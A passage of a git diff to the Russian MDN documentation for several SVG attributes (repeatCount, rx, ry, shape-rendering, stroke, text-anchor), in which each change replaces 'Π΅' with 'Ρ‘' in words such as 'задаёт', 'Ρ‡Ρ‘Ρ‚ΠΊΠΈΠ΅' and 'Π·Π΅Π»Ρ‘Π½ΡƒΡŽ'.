Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π°Β  {{ SVGElement("stop") }}.</p>
<table class="standard-table">
<tbody>
diff --git a/files/ru/web/svg/attribute/repeatcount/index.html b/files/ru/web/svg/attribute/repeatcount/index.html
index ad584e3305..0023ba65af 100644
--- a/files/ru/web/svg/attribute/repeatcount/index.html
+++ b/files/ru/web/svg/attribute/repeatcount/index.html
@@ -5,7 +5,7 @@ translation_of: Web/SVG/Attribute/repeatCount
---
<p>Β« <a href="/ru/docs/Web/SVG/Attribute" title="Π‘ΠΏΡ€Π°Π²ΠΎΡ‡Π½ΠΈΠΊ SVG Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ²">Π‘ΠΏΡ€Π°Π²ΠΎΡ‡Π½ΠΈΠΊ SVG Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ²</a></p>
-<p>Π”Π°Π½Π½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π·Π°Π΄Π°Π΅Ρ‚, ΡΠΊΠΎΠ»ΡŒΠΊΠΎΒ Ρ€Π°Π· Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ анимация.</p>
+<p>Π”Π°Π½Π½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π·Π°Π΄Π°Ρ‘Ρ‚, ΡΠΊΠΎΠ»ΡŒΠΊΠΎΒ Ρ€Π°Π· Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ анимация.</p>
<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° опрСдСляСт количСство ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΉ. ΠŸΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‚ΡΡ числа с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΡƒΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ доля ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ большС нуля.</p>
diff --git a/files/ru/web/svg/attribute/rx/index.html b/files/ru/web/svg/attribute/rx/index.html
index 78f0ab86e0..c033fd34aa 100644
--- a/files/ru/web/svg/attribute/rx/index.html
+++ b/files/ru/web/svg/attribute/rx/index.html
@@ -59,7 +59,7 @@ translation_of: Web/SVG/Attribute/rx
<p>Бпособ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ†ΠΈΠΈ значСния Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>rx</code> зависит ΠΊΠ°ΠΊ ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° {{SVGAttr("ry")}} , Ρ‚Π°ΠΊ ΠΈ ΠΎΡ‚ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°:</p>
<ul>
- <li>Если ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π·Π°Π΄Π°Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для <code>rx</code>, Π½ΠΎ Π½Π΅ для {{SVGAttr("ry")}} (ΠΈΠ»ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚), Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ сочтСт ΠΎΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½Ρ‹ΠΌ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ.</li>
+ <li>Если ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π·Π°Π΄Π°Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для <code>rx</code>, Π½ΠΎ Π½Π΅ для {{SVGAttr("ry")}} (ΠΈΠ»ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚), Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ сочтёт ΠΎΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½Ρ‹ΠΌ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ.</li>
<li>Если Π½ΠΈ <code>rx</code>, Π½ΠΈ {{SVGAttr("ry")}} Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ значСния, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ нарисуСт ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ с ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹ΠΌΠΈ ΡƒΠ³Π»Π°ΠΌΠΈ.</li>
<li>Если <code>rx</code> большС ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Ρ‹ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°, Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>rx</code> ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½ΠΎΠΉ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°.</li>
</ul>
diff --git a/files/ru/web/svg/attribute/ry/index.html b/files/ru/web/svg/attribute/ry/index.html
index f0b87c7a46..9267facd7f 100644
--- a/files/ru/web/svg/attribute/ry/index.html
+++ b/files/ru/web/svg/attribute/ry/index.html
@@ -59,7 +59,7 @@ translation_of: Web/SVG/Attribute/ry
<p>Бпособ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ†ΠΈΠΈ значСния Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>ry</code> зависит ΠΊΠ°ΠΊ ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° {{SVGAttr("rx")}} , Ρ‚Π°ΠΊ ΠΈ ΠΎΡ‚ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°:</p>
<ul>
- <li>Если ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π·Π°Π΄Π°Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для <code>ry</code>, Π½ΠΎ Π½Π΅ для {{SVGAttr("rx")}} (ΠΈΠ»ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚), Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ сочтСт ΠΎΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½Ρ‹ΠΌ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ.</li>
+ <li>Если ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π·Π°Π΄Π°Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для <code>ry</code>, Π½ΠΎ Π½Π΅ для {{SVGAttr("rx")}} (ΠΈΠ»ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚), Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ сочтёт ΠΎΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½Ρ‹ΠΌ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ.</li>
<li>Если Π½ΠΈ <code>ry</code>, Π½ΠΈ {{SVGAttr("rx")}} Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ значСния, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ нарисуСт ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ с ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹ΠΌΠΈ ΡƒΠ³Π»Π°ΠΌΠΈ.</li>
<li>Если <code>ry</code> большС ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Ρ‹ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°, Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>ry</code> ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½ΠΎΠΉ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°.</li>
</ul>
diff --git a/files/ru/web/svg/attribute/shape-rendering/index.html b/files/ru/web/svg/attribute/shape-rendering/index.html
index 9110b8ce42..d5b03117ab 100644
--- a/files/ru/web/svg/attribute/shape-rendering/index.html
+++ b/files/ru/web/svg/attribute/shape-rendering/index.html
@@ -32,13 +32,13 @@ translation_of: Web/SVG/Attribute/shape-rendering
<dl>
<dt>auto</dt>
- <dd><span id="result_box" lang="ru"><span class="hps">Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ</span> <span class="hps">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€</span> <span class="hps">Π΄ΠΎΠ»ΠΆΠ΅Π½</span> <span class="hps">внСсти ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅</span> <span class="hps">компромиссы</span><span>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ±Π°Π»Π°Π½ΡΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ</span> <span class="hps">ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°,</span> <span class="hps">Ρ‡Π΅Ρ‚ΠΊΠΈΠ΅ края</span> <span class="hps">ΠΈ</span> <span class="hps">Π³Π΅ΠΎΠΌΠ΅Ρ‚Ρ€ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ</span> <span class="hps">Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒ</span><span>, Π½ΠΎ </span><span class="hps">гСомСтричСской точности</span> <span class="hps">ΡƒΠ΄Π΅Π»ΡΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€ΠΈΡΡ‚Π°Π»ΡŒΠ½ΠΎΠ΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅</span><span>, Ρ‡Π΅ΠΌ</span> <span class="hps">скорости ΠΈ</span> <span class="hps">Ρ‡Π΅Ρ‚ΠΊΠΈΠΌ краями</span><span>.</span></span></dd>
+ <dd><span id="result_box" lang="ru"><span class="hps">Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ</span> <span class="hps">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€</span> <span class="hps">Π΄ΠΎΠ»ΠΆΠ΅Π½</span> <span class="hps">внСсти ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅</span> <span class="hps">компромиссы</span><span>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ±Π°Π»Π°Π½ΡΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ</span> <span class="hps">ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°,</span> <span class="hps">Ρ‡Ρ‘Ρ‚ΠΊΠΈΠ΅ края</span> <span class="hps">ΠΈ</span> <span class="hps">Π³Π΅ΠΎΠΌΠ΅Ρ‚Ρ€ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ</span> <span class="hps">Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒ</span><span>, Π½ΠΎ </span><span class="hps">гСомСтричСской точности</span> <span class="hps">ΡƒΠ΄Π΅Π»ΡΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€ΠΈΡΡ‚Π°Π»ΡŒΠ½ΠΎΠ΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅</span><span>, Ρ‡Π΅ΠΌ</span> <span class="hps">скорости ΠΈ</span> <span class="hps">Ρ‡Ρ‘Ρ‚ΠΊΠΈΠΌ краями</span><span>.</span></span></dd>
<dt>optimizeSpeed</dt>
- <dd><span id="result_box" lang="ru"><span class="hps">Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ</span> Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ <span class="hps">Π΄ΠΎΠ»ΠΆΠ΅Π½</span> Π°ΠΊΡ†Π΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π½Π° <span class="hps">ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°, Π² ΡƒΡ‰Π΅Ρ€Π±</span> <span class="hps">гСомСтричСской</span> <span class="hps">точности ΠΈ</span> <span class="hps">Ρ‡Π΅Ρ‚ΠΊΠΈΠΌ краями</span><span>.</span> <span class="hps">Π­Ρ‚Ρƒ ΠΎΠΏΡ†ΠΈΡŽ</span> Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ<span class="hps"> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ,</span><span>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ</span>Β <span class="hps">сглаТиваниС Ρ„ΠΈΠ³ΡƒΡ€</span><span>.</span></span></dd>
+ <dd><span id="result_box" lang="ru"><span class="hps">Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ</span> Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ <span class="hps">Π΄ΠΎΠ»ΠΆΠ΅Π½</span> Π°ΠΊΡ†Π΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π½Π° <span class="hps">ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°, Π² ΡƒΡ‰Π΅Ρ€Π±</span> <span class="hps">гСомСтричСской</span> <span class="hps">точности ΠΈ</span> <span class="hps">Ρ‡Ρ‘Ρ‚ΠΊΠΈΠΌ краями</span><span>.</span> <span class="hps">Π­Ρ‚Ρƒ ΠΎΠΏΡ†ΠΈΡŽ</span> Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ<span class="hps"> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ,</span><span>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ</span>Β <span class="hps">сглаТиваниС Ρ„ΠΈΠ³ΡƒΡ€</span><span>.</span></span></dd>
<dt>crispEdges</dt>
- <dd><span id="result_box" lang="ru"><span class="hps">Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ</span> Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ <span class="hps">Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ</span> Π°ΠΊΡ†Π΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ <span class="hps">Π½Π° контрастС</span> <span class="hps">чистых</span> <span class="hps">ΠΊΡ€Π°Π΅Π²</span> рисунков, Π² ΡƒΡ‰Π΅Ρ€Π±<span class="hps"> скорости</span> <span class="hps">Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°</span> <span class="hps">ΠΈ гСомСтричСской</span> <span class="hps">точности.</span> <span class="hps">Для достиТСния</span> Π½Π°ΠΈΠ»ΡƒΡ‡ΡˆΠ΅Π³ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° чСткости<span class="hps"> края</span><span>, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€</span><span class="hps"> ΠΌΠΎΠΆΠ΅Ρ‚</span> <span class="hps">ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ</span> <span class="hps">сглаТиваниС для</span> <span class="hps">всСх</span> <span class="hps">Π»ΠΈΠ½ΠΈΠΉ ΠΈ ΠΊΡ€ΠΈΠ²Ρ‹Ρ…</span> <span class="hps">ΠΈΠ»ΠΈ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ,</span> <span class="hps">Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для</span> <span class="hps">прямых</span><span>, Π±Π»ΠΈΠ·ΠΊΠΈΡ… ΠΊ</span> <span class="hps">Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΠΈΠ»ΠΈ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΌ.</span> <span class="hps">ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ,</span> <span class="hps">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚</span> <span class="hps">ΡΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ</span> <span class="hps">строк ΠΈ</span> <span class="hps">ΡˆΠΈΡ€ΠΈΠ½Ρƒ Π»ΠΈΠ½ΠΈΠΉ</span> <span class="hps">для выравнивания</span> <span class="hps">ΠΊΡ€Π°Π΅Π²</span> <span class="hps">с</span> <span class="hps">пиксСлями устройства</span><span>.</span></span></dd>
+ <dd><span id="result_box" lang="ru"><span class="hps">Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ</span> Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ <span class="hps">Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ</span> Π°ΠΊΡ†Π΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ <span class="hps">Π½Π° контрастС</span> <span class="hps">чистых</span> <span class="hps">ΠΊΡ€Π°Ρ‘Π²</span> рисунков, Π² ΡƒΡ‰Π΅Ρ€Π±<span class="hps"> скорости</span> <span class="hps">Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°</span> <span class="hps">ΠΈ гСомСтричСской</span> <span class="hps">точности.</span> <span class="hps">Для достиТСния</span> Π½Π°ΠΈΠ»ΡƒΡ‡ΡˆΠ΅Π³ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° чёткости<span class="hps"> края</span><span>, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€</span><span class="hps"> ΠΌΠΎΠΆΠ΅Ρ‚</span> <span class="hps">ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ</span> <span class="hps">сглаТиваниС для</span> <span class="hps">всСх</span> <span class="hps">Π»ΠΈΠ½ΠΈΠΉ ΠΈ ΠΊΡ€ΠΈΠ²Ρ‹Ρ…</span> <span class="hps">ΠΈΠ»ΠΈ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ,</span> <span class="hps">Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для</span> <span class="hps">прямых</span><span>, Π±Π»ΠΈΠ·ΠΊΠΈΡ… ΠΊ</span> <span class="hps">Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΠΈΠ»ΠΈ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΌ.</span> <span class="hps">ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ,</span> <span class="hps">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚</span> <span class="hps">ΡΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ</span> <span class="hps">строк ΠΈ</span> <span class="hps">ΡˆΠΈΡ€ΠΈΠ½Ρƒ Π»ΠΈΠ½ΠΈΠΉ</span> <span class="hps">для выравнивания</span> <span class="hps">ΠΊΡ€Π°Ρ‘Π²</span> <span class="hps">с</span> <span class="hps">пиксСлями устройства</span><span>.</span></span></dd>
<dt>geometricPrecision</dt>
- <dd><span id="result_box" lang="ru"><span class="hps">Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ</span> <span class="hps">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€</span> <span class="hps">Π΄ΠΎΠ»ΠΆΠ΅Π½</span> Π°ΠΊΡ†Π΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ <span class="hps">Π³Π΅ΠΎΠΌΠ΅Ρ‚Ρ€ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ</span> <span class="hps">Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒ Π² ΡƒΡ‰Π΅Ρ€Π±</span> <span class="hps">скорости ΠΈ</span> <span class="hps">Ρ‡Π΅Ρ‚ΠΊΠΈΠΌΠΈ краям</span></span>.</dd>
+ <dd><span id="result_box" lang="ru"><span class="hps">Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ</span> <span class="hps">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€</span> <span class="hps">Π΄ΠΎΠ»ΠΆΠ΅Π½</span> Π°ΠΊΡ†Π΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ <span class="hps">Π³Π΅ΠΎΠΌΠ΅Ρ‚Ρ€ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ</span> <span class="hps">Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒ Π² ΡƒΡ‰Π΅Ρ€Π±</span> <span class="hps">скорости ΠΈ</span> <span class="hps">Ρ‡Ρ‘Ρ‚ΠΊΠΈΠΌΠΈ краям</span></span>.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
diff --git a/files/ru/web/svg/attribute/stroke/index.html b/files/ru/web/svg/attribute/stroke/index.html
index d6ddd0420a..29332e0327 100644
--- a/files/ru/web/svg/attribute/stroke/index.html
+++ b/files/ru/web/svg/attribute/stroke/index.html
@@ -39,7 +39,7 @@ translation_of: Web/SVG/Attribute/stroke
<h3 id="SVG_Line" name="SVG_Line">SVG Line с stroke</h3>
-<h4 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_1_НарисуйтС_ΠΏΡ€ΡΠΌΡƒΡŽ_Π·Π΅Π»Π΅Π½ΡƒΡŽ_линию_ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ_stroke.">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ 1: НарисуйтС ΠΏΡ€ΡΠΌΡƒΡŽ Π·Π΅Π»Π΅Π½ΡƒΡŽ линию, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <strong>stroke</strong>.</h4>
+<h4 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_1_НарисуйтС_ΠΏΡ€ΡΠΌΡƒΡŽ_Π·Π΅Π»Ρ‘Π½ΡƒΡŽ_линию_ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ_stroke.">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ 1: НарисуйтС ΠΏΡ€ΡΠΌΡƒΡŽ Π·Π΅Π»Ρ‘Π½ΡƒΡŽ линию, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <strong>stroke</strong>.</h4>
<pre class="brush: html">&lt;svg height="50" width="300"&gt;
&lt;path stroke="green" d="M5 20 1215 0" /&gt;
@@ -47,7 +47,7 @@ translation_of: Web/SVG/Attribute/stroke
<p>{{EmbedLiveSample('Example1_Draw_straight_green_line_using_stroke.', '300', '50', '', 'Web/SVG/Attribute/stroke')}}</p>
-<h4 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_2_НарисуйтС_Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ_ΠΊΡ€ΡƒΠ³_с_синСй_Ρ€Π°ΠΌΠΊΠΎΠΉ_ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ_stroke.">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ 2: НарисуйтС Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ ΠΊΡ€ΡƒΠ³ с синСй Ρ€Π°ΠΌΠΊΠΎΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ stroke.</h4>
+<h4 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_2_НарисуйтС_Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ_ΠΊΡ€ΡƒΠ³_с_синСй_Ρ€Π°ΠΌΠΊΠΎΠΉ_ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ_stroke.">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ 2: НарисуйтС Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ ΠΊΡ€ΡƒΠ³ с синСй Ρ€Π°ΠΌΠΊΠΎΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ stroke.</h4>
<pre class="brush: html">​​&lt;svg height="100" width="100"&gt;
&lt;circle cx="50" cy="50" r="40" stroke="blue" stroke-width="2" fill="black" /&gt;
diff --git a/files/ru/web/svg/attribute/text-anchor/index.html b/files/ru/web/svg/attribute/text-anchor/index.html
index 9ffcbe7be3..d974c6e812 100644
--- a/files/ru/web/svg/attribute/text-anchor/index.html
+++ b/files/ru/web/svg/attribute/text-anchor/index.html
@@ -51,7 +51,7 @@ translation_of: Web/SVG/Attribute/text-anchor
